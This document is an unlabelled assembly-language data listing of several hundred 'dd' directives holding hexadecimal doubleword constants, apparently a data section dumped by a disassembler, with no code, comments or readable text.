		dd 0F1816F00h, 41276112h, 4A1800CAh, 2102C604h,	93C2564h
		dd 34D08E7Bh, 6919C066h, 2C0111BEh, 3FE87Dh, 0B955D39Dh
		dd 0DC074D87h, 97D5D129h, 5D8DA330h, 20120061h,	0F29D1399h
		dd 53007368h, 44F9800Bh, 0B0C8D074h, 2A600EB4h,	40DE580Ah
		dd 826FB4B9h, 0F70023EBh, 1E575243h, 157480h, 48831B4Dh
		dd 0F95BFBC3h, 24FAE800h, 2D02B04Fh, 884E1F41h,	90F7C006h
		dd 4B758DDBh, 0F1AF3Fh,	9D038BCCh, 785848h, 92598043h
		dd 60EAE2BDh, 723AE900h, 2907C383h, 1E161E4Eh, 27033942h
		dd 9DDBC89h, 0CA75D080h, 0AF4D8D00h, 91A1F129h,	0E3B72E0h
		dd 39907654h, 0AEA7842h, 0D330F660h, 0F17B100h,	8F4257B5h
		dd 22111E15h, 3D854010h, 93ACE092h, 90017E0h, 0F70E79C0h
		dd 29E8D8h, 51875E81h, 65997E9Fh, 637B4B14h, 23EA0F90h
		dd 53D180CEh, 3E0BA88h,	520191FEh, 0D1DF220Fh, 0F055A9C2h
		dd 0F8ED89B0h, 0EF0008FDh, 3C96245Bh, 42EB05h, 2122C931h
		dd 0F9042BB0h, 0A280AC0Fh, 1235C0C8h, 38BCBEh, 5DD5D1Dh
		dd 0E391CCDh, 93005279h, 0F0713B13h, 6AD6B7h, 0EBCA5D5Fh
		dd 7C95170Bh, 9053400h,	0EABA74F6h, 3B710001h, 6F77E04Dh
		dd 0C01901Ah, 0D605091h, 2FC2A65h, 0E3291C97h, 0F24F8033h
		dd 5FB686F9h, 5040411Ch, 45C78880h, 1C52E04Bh, 0DF0431E9h
		dd 0B7FC4086h, 274EB01h, 6E98E103h, 0C047EFB3h,	1FF3F77h
		dd 0DF450E9Dh, 0E5029038h, 4440EE46h, 4E047E03h, 114DF5C8h
		dd 4B31AC0h, 7773FCB8h,	139EC92h, 0BA2576C2h, 0E08A4BB5h
		dd 0C3001B75h, 0F5F41509h, 8B0291h, 3BABE8Ch, 0F87B832Dh
		dd 2229B81Ch, 53260FC0h, 0B886FA50h, 46F201E3h,	0A9E8CF0Bh
		dd 0C155207Dh, 462873Eh, 0D9AB50C3h, 736FF680h,	0FD4F035h
		dd 2024B211h, 34E6BF40h, 9600F1FAh, 63824BD5h, 7B7D59E3h
		dd 900C0111h, 0CE2E0809h, 0E8D7F830h, 0E45C0F00h, 0F6034167h
		dd 0CC7C00FEh, 1BD5169h, 87009124h, 96CF38D1h, 52B785h
		dd 0C564FA48h, 0A4A7C4E1h, 391F5E00h, 0F09401DAh, 100200BBh
		dd 0E3D44513h, 0D300277Dh, 0E05AB67Ch, 3ACA2BC1h, 0D6603B78h
		dd 0F8E3321Ch, 4D759100h, 3EE6EAEh, 0F685008Dh,	7B9854EFh
		dd 0C0F57EBh, 0C05C40h,	2C23B38h, 437D7Ch, 0DDDB0330h
		dd 645157B2h, 62722F00h, 0A6B4BA7h, 0AA470095h,	0EC7D4F39h
		dd 923E2A34h, 0EEB0F2Dh, 2563E08Dh, 0E419F6h, 4118C5Eh
		dd 3490DCA4h, 7ADD6105h, 61870DD8h, 8EE84B20h, 0FBC100A5h
		dd 0D92A1179h, 351CDC01h, 16C0D848h, 0AA406EBh,	5A050013h
		dd 89CA0495h, 8400EE11h, 681C9D0Bh, 562E74h, 45C68510h
		dd 7E1EBAFFh, 730018ECh, 0FA3B0C4Dh, 47203Ch, 0F841F940h
		dd 0E8FE0581h, 3AD48200h, 6939FFB8h, 0EE80000Eh, 0D2121936h
		dd 600E92E7h, 471603D5h, 0D14020C2h, 9FE810h, 0AD6CD61h
		dd 0DB307828h, 0C8AE0660h, 0EA4714Fh, 0DD180886h, 1A79B40h
		dd 5EF2CB8Ah, 3B6A4C58h, 39A4BB80h, 92718770h, 8BC09757h
		dd 881EC5h, 66517231h, 0FDC79A5h, 0CF094F07h, 57D010D5h
		dd 278461h, 7E811575h, 456744A1h, 37E3C000h, 97173259h
		dd 2B8E0056h, 88723810h, 407CDAF4h, 915FF800h, 0E1E44D28h
		dd 0A6F4C8h, 4FE083C1h,	21D00C03h, 0C7D91401h, 0D64BEB4h
		dd 98CE60F8h, 0B585001Dh, 0B9157672h, 0F0F0190h, 0A15AF120h
		dd 0AED6E8B8h, 7C508D47h, 13F8B2h, 66FA6C14h, 0D8FE28E7h
		dd 0AAFD7000h, 3F1A40A7h, 0CD9A0162h, 8D7FE007h, 3431EC04h
		dd 2EE4C50Fh, 7DF821E5h, 68800DFEh, 21B58682h, 167ABD3Ah
		dd 7E772700h, 72052026h
		dd 787A67h, 33F0CE0Ch, 3F6C18FBh, 81C7FC00h, 0FE465C3Bh
		dd 94620077h, 17904815h, 30070E7Eh, 5C036618h, 41FE4E21h
		dd 0F775F8h, 0A4D2C3Ch,	0A0C18B49h, 0EF996700h,	6DF16963h
		dd 3F7C13h, 0DC8D39D1h,	0F06A2BF2h, 6CB14012h, 0F3FD2B00h
		dd 0C36231h, 23EE810Ah,	857524D9h, 7F144905h, 0B5C5FD45h
		dd 76A39C3h, 0A8427C6Ah, 7791F073h, 62037BE2h, 0B1B8461Ch
		dd 0D21BE0AFh, 0E83C392Ch, 61BA1480h, 0F82DF410h, 6CE7201h
		dd 75FF085Dh, 0C60B0EFh, 0C0E8076Eh, 0D0B6FDA2h, 0C985EC82h
		dd 2B127F71h, 0DF075ED0h, 64E00D2Ah, 5BB35F4h, 8C063757h
		dd 902BC0F0h, 7034612h,	497D834Ah, 819DE0A5h, 0B1F90017h
		dd 7C660F3Ah, 0E90206BEh, 90109ED3h, 12FDC071h,	19130052h
		dd 0F2BCED7Dh, 5004672h, 8EACBA66h, 7B3182h, 9A2FB3A9h
		dd 0A7504C3h, 4DFFB905h, 0EE000DDEh, 3E6B322Eh,	74410764h
		dd 132A56D8h, 10B04490h, 503B55Ch, 0FCC12DA4h, 2E098F0h
		dd 481E005Eh, 0E64B5288h, 5000CB2Ch, 6D07625Dh,	0F14110Eh
		dd 74778693h, 4C9CC840h, 0B400AD4Ah, 8CEC465Dh,	103B63h
		dd 15640B72h, 4002291Ch, 7FDFEB1Fh, 1A388AC0h, 7DF80CC8h
		dd 64F1001Bh, 4BF41626h, 0F207BA5Eh, 514E444Ch,	342507D0h
		dd 8060094h, 50FE1391h,	205C67FDh, 575E0011h, 2590E9D6h
		dd 0B47E00E0h, 27E85082h, 0BB019148h, 9D0EED4Ch, 99F3540Ah
		dd 43FC2B63h, 0DD530F1Fh, 28E7A65Ch, 5016230Fh,	0EE09F9D8h
		dd 0E8141002h, 6061C720h, 1EDD8015h, 0C337B81Ch, 9689F104h
		dd 0EC46C3F9h, 0AC1F0EBEh, 4B009235h, 5C7A68B0h, 0A28D0071h
		dd 0FD267712h, 9A1ECD2Fh, 514058B5h, 3894492Eh,	4FFF0022h
		dd 2DF6F3C3h, 0AF001109h, 0D79E7323h, 51D0C8h, 6A621EB6h
		dd 9499F502h, 41585700h, 0E08A6505h, 0F8F6EBh, 3260B63Eh
		dd 50895951h, 0D09F0300h, 64EBDFDBh, 1012000Bh,	6233DAB0h
		dd 6B00A7C9h, 94C65565h, 1A40D5Ah, 0B87604D2h, 0DC8DD34Ch
		dd 48000AE2h, 0CC264A01h, 0EE51554Eh, 877EA6h, 5277E84Fh
		dd 0DB4D3FE3h, 0C8004AECh, 142FBECBh, 58C64175h, 551C1E44h
		dd 0B7D0C06Ah, 7C4CB950h, 94613Dh, 444303BEh, 2CDFE848h
		dd 0F2CD24h, 0C4C6A9B9h, 400923AAh, 80857CF0h, 0A00AB5B2h
		dd 197F6C7h, 5F0EFC43h,	0C8FB14F4h, 0AE02750Dh,	44748861h
		dd 5064090h, 9B7BB9h, 0F859F913h, 0EC020698h, 64AC0405h
		dd 1DEEE4D0h, 574ECF28h, 4B6F7181h, 0C9606042h,	2A001E75h
		dd 2E8F039Eh, 0FC1CE9h,	73706C85h, 0B19C7508h, 3A62860Bh
		dd 0E1550077h, 0EE36B6Eh, 8B1CF3CBh, 1D8866A5h,	0F633C7A8h
		dd 6CC60B8h, 3000077Eh,	3C961F74h, 0E2ABB49Dh, 0F0440187h
		dd 0A59B3C5h, 0F6823FCEh, 2E10C08Bh, 2AE200B5h,	0B297C44Ch
		dd 590F44CCh, 40D4E542h, 0D0112CF2h, 29FF0012h,	0C948A40Ah
		dd 3300AF22h, 581CE1D2h, 48901h, 0B9B31F56h, 77ECE23Dh
		dd 0DF5E3Dh, 0ADE676A2h, 7CD5B4ACh, 8F170FF0h, 0FCA53878h
		dd 0C6CDC048h, 2900A4B9h, 90BBA27h, 0E1F9BAFh, 5DA2D77Dh
		dd 8F806EEFh, 0CEFD3C41h, 0C80720E9h, 54046A00h, 37503056h
		dd 0DF442568h, 16245500h, 420099BAh, 90A4D4B8h,	7F4ACC7h
		dd 4A045698h, 0FB8069FAh, 80102903h, 0AA2CA500h, 0E5784296h
		dd 0BC7E0094h, 28DC4E54h, 98008C31h, 0A6869B88h, 13BA4AC6h
		dd 7A6A42h, 5EA52FF7h, 70FACACBh, 8902807Bh, 0C2D40E09h
		dd 825AC0C1h, 25E43Dh, 75B0A166h, 0E80C5E5Ah, 0DDD0F00h
		dd 13C4F330h, 0FEDB0016h, 0C32FC2D9h, 0C0003506h, 0F448A23h
		dd 2CFF1Eh, 8F1A4E47h, 0BC16CC20h, 54FEF80Fh, 9300F2C4h
		dd 0F9558388h, 0FAE900AFh, 0D8434B5Fh, 2743B53h, 0D27E3Eh
		dd 0C7256A4Ah, 55AE9Dh,	0EB41120Eh, 0A30FE620h,	144D0500h
		dd 24731682h, 2210032h,	774CCE54h, 2B005033h, 0B78EF44Dh
		dd 7E9FBE0h, 0BA6DC53Bh, 8DC0C084h, 29005077h, 0B75AF7E8h
		dd 5C63B9C4h, 9000940Fh, 1F783352h, 55007EEBh, 4882694h
		dd 7121179h, 0A2C314A4h, 0FA56F003h, 4E039FACh,	30E2B810h
		dd 7459D898h, 736B040h,	0C4370E64h, 0F9A9B028h,	0DF900FF0h
		dd 8E006174h, 22AF2516h, 471C4D6h, 0BAF0207Ah, 0A8FC04h
		dd 671CDC4Dh, 2C5EC64h,	1A0C5903h, 1EE0B879h, 373E14CEh
		dd 0B4080065h, 0B648E82Ch, 20990024h, 522D1DCAh, 4BE870A9h
		dd 80E71000h, 0A8C48106h, 0BB3A00FBh, 5EDA90F5h, 850054E0h
		dd 24D6D07Ah, 710BCF8h,	810D48D7h, 411BF0BDh, 1C00752Fh
		dd 0EE5C987Ah, 0E88BFD44h, 25A000D4h, 469437E8h, 23017542h
		dd 0EC971C9Ch, 48F02259h, 4F6100B5h, 95A0056Ah,	90014EBh
		dd 4A339D2Bh, 20CCC5h, 0E85CB227h, 45759331h, 8842D01Fh
		dd 24FEF300h, 11196h, 0BB125F22h, 130A7C54h, 2D05BF00h
		dd 0A915A685h, 0E809003Ch, 69D61C4Fh, 0BB002145h, 0E0F31E12h
		dd 0B5D831h, 0CE4D59E3h, 36D022Bh, 832EFF00h, 4B58BFD5h
		dd 26360065h, 3F9DA4C2h, 5D0038A1h, 0FB40254Eh,	0ECF32DEAh
		dd 4947000Ch, 0F4A49541h, 0A1FE3B6h, 28C01B6Bh,	0C896C0Dh
		dd 0F8C60F67h, 420CAACh, 0B026CC91h, 0B4448600h, 9F6BBF06h
		dd 0A4B800D2h, 54FBC10h, 0C0509DA5h, 6FCC4B6h, 0C800BDEAh
		dd 8D22CC64h, 90504AA3h, 0A48C0EDCh, 0BC40BA86h, 60078B63h
		dd 806BC63Dh, 520FB6B4h, 2E01A6h, 45859009h, 0D98C6FC0h
		dd 242C4C00h, 6A107944h, 0D0A10013h, 7F80F0C2h,	1A012A61h
		dd 409F0F2Fh, 9A70C8C4h, 7A9700CFh, 0E6B4035Ah,	6A7F2736h
		dd 8ACA5100h, 7CE966A8h, 10680013h, 99EDA920h, 7B00480Bh
		dd 494F1191h, 0EA406E43h, 98FAD3h, 0D217A33Bh, 8D7D30ABh
		dd 0B3044700h, 9BBA693h, 0DDDB0184h, 742D2915h,	90DE4302h
		dd 0E65A41B8h, 7D4A7200h, 5212C3Dh, 4D6E008Bh, 3B022408h
		dd 0F5000789h, 0C3C7B5FCh, 5810DBCFh, 5A009471h, 0EC598B7Eh
		dd 8003A234h, 0FC9182B7h, 0F3C095B4h, 3E6CFEh, 5A8F59F5h
		dd 7E03C48Dh, 0BAF82000h, 5292B102h, 9A7E6B7h, 78800498h
		dd 0BE00AA74h, 691B6693h, 168D0034h, 0F254090Eh, 52000429h
		dd 0BA086365h, 36A1D79h, 331720F3h, 16C309DBh, 0E0D62BC8h
		dd 0FB803F07h, 3BC07F06h, 2E5DDD34h, 0DF8E4h, 150F0EF1h
		dd 0C3010C8Bh, 85B0D8E8h, 0FB709CB8h, 0DAE63A5Dh, 0EF1DEB8Ah
		dd 2EC6059Dh, 0FDDBC0D3h, 55B88B04h, 77FA8503h,	806DE41Fh
		dd 0C7089h, 0A0915A59h,	8880B494h, 0E42D0A03h, 0A281A54Dh
		dd 0D0B88053h, 67744Ah,	600F060Bh, 7216EA83h, 0EB100403h
		dd 90F8A123h, 0E421DDDFh, 74400FCh, 0C50477C1h,	340062C9h
		dd 0CFF14858h, 247DC752h, 0ABDC50h, 0BCE9776Eh,	0BF01D35Fh
		dd 0F3E07432h, 6F83CCCh, 0CFE200FCh, 297FB0C4h,	0BD00C27Ah
		dd 168F720Ch, 67E8D3h, 0D40DA092h, 0C0A10BB9h, 0AF001898h
		dd 0E43B57F0h, 7667DC6h, 0EECF869h, 100BC33Fh, 927CF4D0h
		dd 50E88060h, 555AC01h,	68C1A1E0h, 0FB0A8058h, 0FC00EA51h
		dd 0A5666F64h, 0B191CEh, 117FB762h, 0D3D52DE0h,	0F0466909h
		dd 60558041h, 894831h, 5BB56FCCh, 0B9BC72AAh, 8C41FC2Ch
		dd 63A6813Dh, 0C183040Ah, 1F2DF4CCh, 3AFDBBh, 9AC02456h
		dd 8900AF4Eh, 0B683252h, 0F61F41Bh, 0D61D655Ch,	6A0D4680h
		dd 8403FB91h, 0FE1EDDEAh, 2353D814h, 3C100055h,	8EEB7C72h
		dd 0E204471Fh, 0BB379F33h
		dd 0C13596C2h, 10203030h, 408C012Fh, 0E424AA25h, 0B095201Dh
		dd 36C30307h, 5E50604h,	2B30487h, 9D09CB08h, 200C9C03h
		dd 160EF80Dh, 1A840090h, 687013E8h, 93EE6675h, 3825B10Fh
		dd 84FEE0D8h, 985C8A9h,	54CEE6EAh, 86AC7080h, 4839B042h
		dd 84A9032Ah, 0BB298267h, 2EAD812h, 7B8300A8h, 0F7F6114h
		dd 7C00A522h, 0B4496847h, 589C88h, 26961873h, 782F7024h
		dd 0C748018h, 7D6212h, 15235AF0h, 87B3850Fh, 0B614B17h
		dd 0A6164307h, 2470E471h, 719684FCh, 66D900A4h,	0A114B8FCh
		dd 2500DA48h, 658B378Dh, 32E0A95h, 0E81F39B9h, 16E02AA7h
		dd 2098B464h, 57335007h, 0C0C0BE8Bh, 3AC4443Ah,	3DBC990Bh
		dd 4210C883h, 0B5F87DCCh, 522D0DD0h, 7F5500D4h,	1F883386h
		dd 0A1AC44h, 8DCABCE4h,	89E82410h, 96633401h, 5AEB2948h
		dd 0E9490D4h, 5C4A98C8h, 0A0C09CCEh, 0A832A4C4h, 0C1F317Eh
		dd 95D8102h, 265C80CCh,	0E0696285h, 6E606E22h, 0A702A68Ah
		dd 0BA8918C9h, 4963E003h, 3CB700BEh, 0E9CA8BD5h, 65FCD28Ch
		dd 0DDBC7400h, 0B327ED7Ah, 8343077Ch, 39EFC89h,	0C2B8D00Bh
		dd 0CB0103FDh, 74917208h, 3430641Dh, 2273002Ch,	0EFA85EC3h
		dd 0F400553Bh, 5969CCA7h, 17D73017h, 0FDED83h, 0E1E0DD7Dh
		dd 0A176F001h, 7D0B6600h, 855EA488h, 5D4000A5h,	38FF4C15h
		dd 61DB292h, 0BE004657h, 8835905h, 0C99407F0h, 0F7CDDBh
		dd 8257E815h, 0F6B82503h, 0B0216ACAh, 7F90C432h, 858400D4h
		dd 0AC456C26h, 0F67F8139h, 0FECA9800h, 4DA2A32Eh, 0A1D81D42h
		dd 0DF670180h, 0CC202162h, 5600FC44h, 0C77FA719h, 728D0C1h
		dd 54FA4802h, 8320FE0Bh, 50798A98h, 3AA9A83Eh, 183DD8h
		dd 0D1E88980h, 1788B6h,	948A8278h, 7F913967h, 9E4C2100h
		dd 0DDA5E0ECh, 851C4889h, 0FECB1907h, 3D10A032h, 2A0040C6h
		dd 9F09010Ch, 72350671h, 0C5B00372h, 131A65B4h,	9226BBE8h
		dd 0A9A73400h, 8FA8DA24h, 0E47D56h, 0D8449821h,	0DF23E828h
		dd 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h, 415782FFh, 8A503201h
		dd 0B1AA3054h, 58AE6100h, 0EE6DA2Dh, 60D000A3h,	549E1042h
		dd 8F0009D4h, 0C7D82808h, 0DC940Ch, 0BE0B846h, 1407529Eh
		dd 8080B93Bh, 9C696E3Bh, 10E68Eh, 0C4B632BEh, 80661397h
		dd 7AC23C02h, 60E07760h, 0E18A64h, 4CA29179h, 40F56E42h
		dd 4EF73900h, 8598DFEBh, 27C00F6h, 300C8A12h, 914CE181h
		dd 444849h, 44B2E906h, 1C26CE2Ch, 80800140h, 83490579h
		dd 4100FEC9h, 4FBB07Bh,	102B207h, 658A13EBh, 7A4A3C38h
		dd 2FC224C0h, 6C5E035Fh, 423796C4h, 0B563DD8h, 0F0074EAh
		dd 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h, 1EC93390h, 5607C500h
		dd 2FCCF814h, 5C1F1C1h,	0BB5460h, 9CF04CB4h, 0F21217A0h
		dd 537A8E00h, 0BC4E1440h, 568B5884h, 0DA1C3100h, 479130AFh
		dd 25FE3F00h, 0ABDE13F8h, 0BBAA0716h, 0B0B6F117h, 72012C02h
		dd 8E741500h, 3947CEA8h, 0BC70049h, 0FADC7516h,	0E800F43Ch
		dd 0BC8AC52Ah, 6C8D24h,	0ACBE0460h, 6C70375h, 0EDCC0900h
		dd 0F8463F1Eh, 0F5F2A3h, 0E312F713h, 89028D61h,	965C66F2h
		dd 951D003Dh, 0FFE281C3h, 0EFE50203h, 0BFFC6284h, 60E8F7C1h
		dd 4E00ACEBh, 37D7A06Ah, 3B159449h, 88009547h, 2AF509F7h
		dd 0C3000F73h, 50085EF9h, 1D5540C5h, 409C926Ah,	0F6013347h
		dd 8A0025EBh, 0D1063544h, 7D05Ch, 72D8042Ah, 87884316h
		dd 82CDF53Fh, 0AB0D4926h, 0CCF26007h, 0B7500CBh, 2C683EEh
		dd 0E003255Fh, 7A2A1D0Ah, 0CC50F040h, 5A1800AAh, 0B9A8285Dh
		dd 10EC086Bh, 75496900h, 6D53F92Ch, 7C9842h, 0FBE82A14h
		dd 0BF1BEAFAh, 4500B1F6h, 0E05135Eh, 1567DAh, 22EB92C7h
		dd 7940505Ah, 0DF14BA00h, 0B3C35281h, 1F5C001Dh, 74ECB808h
		dd 331329ADh, 13004F79h, 0A51BBA9Bh, 2AB40022h,	0A28670B9h
		dd 0DF0353F0h, 308A0448h, 341CF899h, 138207EEh,	807DE949h
		dd 0F1A24C3Ah, 1400B1F0h, 1D0FBA2Ch, 0F88AB788h, 4131EF2h
		dd 3C0EC02Eh, 0E44AA9F3h, 196E4C16h, 0A280351Dh, 2FB120F4h
		dd 0A51D01BAh, 0C8F59037h, 88A4FCDCh, 0D11F3Bh,	2D7B5D3Ch
		dd 0E468A3h, 0F8B8292Ah, 8D4C4D2h, 2044B41Fh, 5AC8007Bh
		dd 0B804EFD8h, 942860FCh, 6D1EBA3Ah, 751FB77Bh,	0CCDDD022h
		dd 53CFB3Fh, 1AB83155h,	8FF26272h, 0CF29CFEDh, 3C3FDE0Ah
		dd 0F8510108h, 0F48ACB3Dh, 79C865E0h, 34251D72h, 0D64A8047h
		dd 0FC1A469Dh, 45E4BA00h, 1FB263D3h, 0CA143EF0h, 643FC403h
		dd 87A96823h, 0A675DC10h, 57721F0h, 3CC0E507h, 0BA90F462h
		dd 0F847FCh, 3A8A0CF2h,	6EE24C3h, 68001B7Ch, 100A211Ch
		dd 0CB8F4h, 0CF66A5C9h,	1D29EB2Bh, 0F928912Ch, 0F949DA00h
		dd 4160F0Ch, 7DB875F0h,	0DDABC0E3h, 0F500BA99h,	0B2F46E29h
		dd 0ECA4A4Eh, 0CC3025D4h, 6D064400h, 647D2F39h,	43FCDD0Fh
		dd 30E2358h, 722CD020h,	266C3E3h, 0CE8618Ah, 1D007051h
		dd 96684C42h, 60F6F924h, 4120D831h, 501E724Dh, 51004AE1h
		dd 0B88B440Fh, 3AB3008Ch, 0DB84CE52h, 7300FB19h, 530B108Eh
		dd 262CCBBh, 37811D7h, 65404B7Fh, 77008312h, 859F2AC6h
		dd 0E2D0EB43h, 88680053h, 3F094091h, 0B2007548h, 98F1864Ch
		dd 1531821h, 0A32347E8h, 0D925BD38h, 5A06EC3Dh,	0B60A5Ch
		dd 13406974h, 3D21E992h, 3E7CA84Bh, 73030744h, 8F72466Bh
		dd 617053E8h, 45F86300h, 0A2416478h, 97AB1D10h,	0B2C2C0BBh
		dd 58045D6Ch, 0C800E698h, 0C798928Eh, 3011DC42h, 0E46E8924h
		dd 0DAC1B0E8h, 22A88F93h, 4844E0F8h, 31075DA0h,	0B0189198h
		dd 21286490h, 4048881Eh, 5C328085h, 0F4268800h,	3C704431h
		dd 6887C8FCh, 9E601C9Dh, 58891040h, 24033C12h, 61884C50h
		dd 9178D048h, 7C403011h, 2C993864h, 131E30F0h, 2841220Ch
		dd 24D22045h, 31848C4h,	10B1B899h, 0A2077813h, 51706E08h
		dd 0C0BC3153h, 77B361F8h, 30F03D81h, 0E80318BCh, 48D4BE01h
		dd 28E0548Ah, 223E29DFh, 88DC0FA1h, 0C4666019h,	24B044D8h
		dd 33A6267h, 0D0183238h, 0CA88CABh, 801D24CCh, 601DC872h
		dd 45FC41Fh, 0ACC03C4Eh, 0EBC2484h, 0B8249912h,	0B4396883h
		dd 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh, 0E4F0F5A8h, 0D0FCA43Ch
		dd 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h, 940F4CE4h, 905CC4CCh
		dd 8C39A3A0h, 88E87CFCh, 24CF48FAh, 38E0AC84h, 7CEFD80h
		dd 1CF47Ch, 68281178h, 89740F18h, 70EE4C04h, 0DEBF64AEh
		dd 0FBFAC6Ch, 44ED683Ch, 0F8FAF71Eh, 5CF36007h,	2FE2F84Dh
		dd 3EC8F274h, 0CBA9458h, 0CFF454BAh, 60475014h,	914CF13Ch
		dd 0F840F930h, 0EFFD1814h, 0CAF0BCF3h, 9FC700Ah, 7D97E800h
		dd 81BA2098h, 80510995h, 0E0803F60h, 7446724Eh,	36BC4105h
		dd 0FA8025B9h, 74450AB8h, 0F3133AFCh, 4A82F980h, 0A4095517h
		dd 10015F01h, 0D2B8057Dh, 7EC099E9h, 0B1483907h, 0E5500C02h
		dd 5A40800Fh, 202107Dh,	18BF0372h, 2C7F40FBh, 9B831F4Ch
		dd 0D0FCC08Bh, 282DF876h, 317FFF00h, 86730232h,	0F3E11CC8h
		dd 0B48D007Eh, 4AA87449h, 66FC400Fh, 0EBA4A2C1h, 0E76D6123h
		dd 0B0B60FC0h, 0FB80009Bh, 0BC37401h, 9007704h,	6C30BFF3h
		dd 7EB03Bh, 1AB8B302h, 4F9D140Dh, 2F588E0Fh, 8C44A0A1h
		dd 10917BEh, 763352A3h,	0E011D825h, 88028F4Bh, 0AAC81B1h
		dd 2B57E0C0h, 0C3B01F82h
		dd 86E64084h, 2D3D1480h, 6D55AA12h, 0E04DFC0Fh,	0CA83BE5h
		dd 11F007Fh, 7CFDF983h,	0C97E0B1Ah, 4E861C00h, 4A3E80AAh
		dd 0A0401F27h, 0F766C02Fh, 0D8F320D9h, 0BF1CEB00h, 8F42C311h
		dd 19740091h, 2F8E2C5h,	8A001508h, 6623A2E0h, 0A20E86ABh
		dd 2A54C0C3h, 4081007Fh, 0E3FE3306h, 2B00F225h,	5EAB6293h
		dd 0F48A0B14h, 8B8C0F29h, 116049D2h, 2BB48719h,	86081C01h
		dd 27204EAh, 0EB09330h,	0E65D8A45h, 0E455BF00h,	0BDF8AA4Ah
		dd 3B6DD21Ch, 90E2EBC0h, 83067Dh, 0D7DAF7A7h, 0B1E46A6Fh
		dd 0C4008AE0h, 8B5092AAh, 32DC61h, 258C35F7h, 5B23F1Dh
		dd 49430A01h, 0ED15D50Bh, 8BE980E7h, 0AA040709h, 10F8DC3Bh
		dd 4B735852h, 830E0F98h, 0A01D12FAh, 5638BA05h,	496F00E2h
		dd 0EB04D6B5h, 0DB013328h, 0E03A8889h, 48C0C11Dh, 0F60300B3h
		dd 43DC8AF3h, 1488EACh,	4B0D002Dh, 3DA0F475h, 0C57C031Eh
		dd 4AEAEB32h, 0C3FF1AA8h, 3C2EE358h, 0C058073h,	27F97541h
		dd 26CF072Bh, 708EC3F7h, 81891D8Ah, 46A43200h, 220B6452h
		dd 0F211CF1h, 0D93A0004h, 0E9027F76h, 8DDDCC00h, 1A9B9C09h
		dd 0C9241790h, 48F805h,	1E74D03Ch, 7E537651h, 7A293B48h
		dd 0AE92AA8h, 3E80C8Ch,	0F7CC0784h, 595B407Fh, 0E2014312h
		dd 0AC0BEBDCh, 7DC04A35h, 5C00041h, 0EADFC42Bh,	26B8B701h
		dd 0BA402A00h, 0BDE7602h, 1720029Bh, 289958F7h,	2DFDACE0h
		dd 831A473Fh, 0F97E05D4h, 0EB48DBB6h, 1C51F9A3h, 0C07FFBECh
		dd 1BF52E10h, 6A391338h, 3600FD20h, 33C81067h, 299D28h
		dd 99593577h, 6E1940D0h, 0D9D60B1Eh, 69269C40h,	7B2B202Fh
		dd 4470007h, 4FEE0990h,	0E9EAC1EAh, 136BC200h, 8C5AE8Fh
		dd 5D770Bh, 0DE4F1673h,	68C61B28h, 0F0578D00h, 5A80E84Ch
		dd 9C220081h, 4BE96CBAh, 591F13F4h, 60C79001h, 80F7B951h
		dd 0C0A0A4C7h, 0FE6F2B7h, 0E3AFF599h, 3D46EF20h, 7400344Ah
		dd 0F9C70C17h, 0D11166h, 16207536h, 1A7E2A52h, 145B3900h
		dd 990F4C0Eh, 54FC079Bh, 3046BA33h, 403421EBh, 0B716C30Eh
		dd 8745C019h, 0DA74D7h,	55F0F73Bh, 4E775D05h, 1C042498h
		dd 0D0E9FB26h, 8BF00BBh, 3CAC1DE3h, 374272Ch, 4D228039h
		dd 103E9620h, 0EF560060h, 648AEDE2h, 47F1906h, 52450B07h
		dd 0C373020Dh, 3AAC88C0h, 0D0F400C4h, 0F7141BB2h, 0FF00E7EBh
		dd 89BBA865h, 18E318Ch,	0A1C76630h, 0F08693BFh,	0F8125588h
		dd 88006106h, 0D1267423h, 3925E430h, 2C002EE1h,	33C697F3h
		dd 352E44C1h, 3A398931h, 653B3Ah, 1896DF36h, 0D78B46h
		dd 424039EBh, 0D32D4CD8h, 1EDBFE01h, 0CABF79DAh, 83C7D4h
		dd 0F7D9E880h, 0EC5589C1h, 3E60CB00h, 0EB01F8A2h, 71A400B6h
		dd 1432AF43h, 0A7002DAEh, 0A1B42B93h, 9C0FFAh, 0FBC1B801h
		dd 589666EBh, 116BEC00h, 2703F80Eh, 0A6D83DA0h,	4EE5C180h
		dd 0E02D6EBDh, 4FD58709h, 0E4E7006Ah, 222C35Bh,	6084482Ah
		dd 61E06B29h, 0E48BA13h, 0C20776A2h, 5721C385h,	2BE35680h
		dd 0D874030Dh, 0D680DCC7h, 0D1F0EAF8h, 5D8D6300h, 28C25F90h
		dd 0E7FC0008h, 0A4F8C4CAh, 270045CEh, 48F324DAh, 1E1E91EFh
		dd 40441A22h, 7538920h,	0C0074FC4h, 0E6E8D4A3h,	0ACCD82D0h
		dd 0C66E00B7h, 0F43FF02Bh, 803C2606h, 0C0FE02FCh, 60752D0Ah
		dd 59DE4ABh, 412E74C4h,	0A4A68146h, 5ECDE4F9h, 3880500h
		dd 0EE8A6B53h, 8DCF1F2Ah, 0D6AD8742h, 0EB5BF0ABh, 0A400CC88h
		dd 0D8DEA1C3h, 1B8C41h,	7FD307Ch, 4DFF01F5h, 7475F425h
		dd 0BB0D00C4h, 3414DE45h, 0E40FC400h, 41AB127Eh, 43290104h
		dd 4B0B1F91h, 0F9987150h, 0DEC16031h, 6BB86600h, 2E6C9622h
		dd 9E1E00EBh, 9A88FC25h, 0DD004517h, 0F7EE7E0h,	1CC9B258h
		dd 808DF228h, 0BF065975h, 0C200AA9Ah, 45D36649h, 64E31Ah
		dd 0A9F938B4h, 847A16D8h, 736D3100h, 0C92E3283h, 8DA70008h
		dd 0D0445F46h, 0F5008925h, 0A03D0320h, 58227507h, 4600BB09h
		dd 119FA506h, 737B90AAh, 9D7E811Fh, 326B800h, 0E1340h
		dd 0CDC43C6h, 0DB8D6BE9h, 2D2E0801h, 69053FFFh,	2104E12Fh
		dd 5B6C7048h, 83C44000h, 0E051ECA2h, 0E1D901F4h, 72BFE837h
		dd 0DBFCD80Eh, 749C2D00h, 9BF2D8A7h, 83DD3C48h,	0FAA8D401h
		dd 0FC410B70h, 9A00DA09h, 0F8EF80BCh, 7E675DFh,	3187BF2h
		dd 9B6BF0BAh, 4400148Ah, 7DDE515h, 8E8C0h, 660F7004h, 45E33005h
		dd 621DE27Ch, 480032EBh, 64CBCAAh, 82F0073h, 8205C879h
		dd 0C00F83Bh, 0A303C96h, 712FF83h, 8027730Fh, 351F707Ch
